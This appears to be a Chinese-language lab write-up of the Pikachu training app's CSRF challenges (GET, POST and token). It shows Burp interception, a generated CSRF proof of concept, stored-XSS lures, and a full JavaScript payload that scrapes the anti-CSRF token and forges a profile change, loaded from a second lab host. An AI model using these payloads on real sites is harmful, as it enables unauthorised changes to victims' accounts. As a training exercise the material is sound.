pikachu_csrf
csrf(get)
allen登录,密码为123456
这里数据库报错,这里是因为php版本不兼容,在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改为MYSQLI_ASSOC,即通过mysqli的方式提取数组,而不再是mysql 。题目的源代码中使用了mysqli_fetch_array函数,但参数用的是MYSQL_ASSOC,故而报错。
将csrf_get_edit.php
中70行MYSQL_ASSOC
改为MYSQLI_ASSOC
修改电话号码为15566667777,bp抓包查看,可以看到修改的数据直接在get请求里,似乎没有其他验证
尝试在此处把电话修改为19988887777,forward
成功修改为19988887777,说明csrf可以利用
那么可以通过bp生成csrf POC
假如此处攻击者A要将allen的地址修改为home,那么可以直接在poc中进行修改,然后将poc放到自己的服务器中。
攻击者A登录后再通过存储型xss将poc的链接植入到被攻击者allen可能点击的地方,这里用pikachu的存储型xss题目作为示例,allen点击后,攻击者A就能修改allen的用户信息
植入存储型xss
<a href="http://192.168.248.139/csrf/csrf_get.html"><input value="你中奖啦!" type="button"></a>
用户点击后
再次点击,allen就会在不知情的情况下,修改自身的信息
修改成功
csrf(post)
出现报错,将csrf_post_edit.php
源代码中的70行MYSQL_ASSOC
改为MYSQLI_ASSOC
修改个人信息,电话号码修改为16611112222,抓包查看,发现修改的数据通过post传递
那么这里将电话修改为18877776666,forward
修改成功
此处的利用方式与get型相同,构造poc放到另一站点,然后通过存储型xss将链接植入到被攻击者可能点击的地方。与get型区别在于post型的poc中表单通过post传参。
csrf token
报错,同上,修改token_get_edit.php
源代码,76行MYSQL_ASSOC
改为MYSQLI_ASSOC
将住址修改为china,抓包查看,发现修改的数据通过get传递,数据中多了一个token值
这里进行了token的校验,而上述两个场景都没有进行token校验。
区别在于:
无token校验时,攻击者可以先修改自己的信息,观察请求,从而构造出修改被攻击者信息的请求。有token校验时,攻击者无法通过查看自己修改信息的请求,来获取到被攻击者的token,也就无法构造修改被攻击者信息的请求。
攻击者在这种情况下发起csrf攻击的关键在于获取被攻击者token,只要拿到了一个有效token,就和之前的场景一样了。
bp抓包,点击修改个人信息,到修改完成,一共发送了三个请求
第一个请求
点击submit
第二个请求,携带了token,每次点击,token都不同
第三个请求
说明token可能是在进入修改页面时获取的,查看进入修改页面时的响应,有个隐藏标签存放了token
攻击者知道获取token的时间和token在页面中的位置后,可以通过如下方式尝试绕过:
攻击者通过存储型xss植入恶意代码,其中包含一个js脚本。该脚本执行两步操作,先构造一个不带参数的请求给修改信息的页面,服务器回返回一个token,再构造一个请求,携带要修改的信息和返回的token,实现信息修改。整个过程发生在被攻击者登录的状态,攻击者在不知道被攻击者token的情况下,修改了被攻击者的信息。
引入xss植入恶意代码,因为浏览器同源策略,不允许运行其他域名下的js脚本,故而此处攻击者无法直接执行自己页面上的js脚本。可行的方式是写一个载入js脚本,通过存储型xss,直接植入或者是通过<script scr=></script>
引入。这里可以直接用pikachu的存储型xss题目辅助实现,脚本注入后,任意用户进入该界面时,浏览器都会执行攻击者的js代码。
js脚本csrf_token.js
将地址修改为myhome
//1、发GET请求获取token
var tokenUrl = 'http://192.168.248.128:81/pikachu/vul/csrf/csrftoken/token_get_edit.php';
var count = 0;
// 实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
// 当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function() {
// 状态码:0: 请求未初始化,1: 服务器连接已建立,2: 请求已接收,3: 请求处理中,4: 请求已完成,且响应已就绪
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
{
// 取得请求的响应,并从响应中通过正则提取Token
var text = xmlhttp.responseText;
//<input type="hidden" name="token" value="9398663e70bafb1f1e665887715" />
var regex = /token\" value\=\"(.*?)\" \/\>/;
var match = text.match(regex);
// alert(match[1]);
var token = match[1];
// 发送修改密码的语法
//2、发GET请求,构造请求参数,利用前一个请求获取的token值,实现传参,从而修改密码
var changeUrl = 'http://192.168.248.128:81/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=18877776666&add=myhome&email=allen%40pikachu.com&token='+token+'&submit=submit';
if (count == 0) {
count = 1; // 只发送一次,否则会多次发送
xmlhttp.open("GET",changeUrl,false); // false 代表同步方式发送
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();
存储型xss直接植入:
提示内容过长
<script>
var tokenUrl = 'http://192.168.248.128:81/pikachu/vul/csrf/csrftoken/token_get_edit.php';
var count = 0;
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
{
var text = xmlhttp.responseText;
var regex = /token\" value\=\"(.*?)\" \/\>/;
var match = text.match(regex);
var token = match[1];
var changeUrl = 'http://192.168.248.128:81/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=18877776666&add=myhome&email=allen%40pikachu.com&token='+token+'&submit=submit';
if (count == 0) {
count = 1;
xmlhttp.open("GET",changeUrl,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();
</script>
xss通过src引入:
<script src="http://192.168.248.139/csrf/csrf_token.js">1234</script>
修改成功